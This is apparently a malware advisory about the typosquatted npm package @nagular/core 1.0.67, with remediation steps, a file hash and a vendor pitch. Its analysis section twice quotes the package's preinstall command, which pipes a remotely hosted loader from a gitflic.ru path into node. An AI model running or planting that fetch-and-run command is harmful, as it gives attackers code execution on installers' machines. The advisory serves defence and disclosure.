Which versions of @nagular/core are malicious?

The following npm versions of @nagular/core are flagged malicious: 1.0.67. Treat any of these as compromised.

How do I remediate @nagular/core if I installed it?

@nagular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @nagular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @nagular/core — how do I know if it already compromised me?

If @nagular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @nagular/core part of a known attack campaign?

Yes — @nagular/core is associated with the IN-MAL-2026-020918 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nagular/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @nagular/core (version 1.0.67).

Malicious package

@nagular/corenpm

Advisory published Oct 3, 2026Updated Oct 5, 2026

@nagular/core is a confirmed malicious npm package (MAL-2026-17499) that typosquats a legitimate package to trick installs (malicious version 1.0.67). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nagular/core (npm)

MAL-2026-17499

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nagular/core

What this malware does

@nagular/[email protected] impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's package.json declares a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during npm install. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path hellscripter/install-scripts and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name @nagular/core additionally resembles the Angular ecosystem (@angular), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.

Malicious versions

1 flagged

1.0.67

Indicators of compromise (SHA-256)

5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @nagular/core (version 1.0.67).
If you installed it — respond
@nagular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @nagular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @nagular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nagular/core on npm has been identified as a malicious package (version 1.0.67 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020918

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @nagular/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database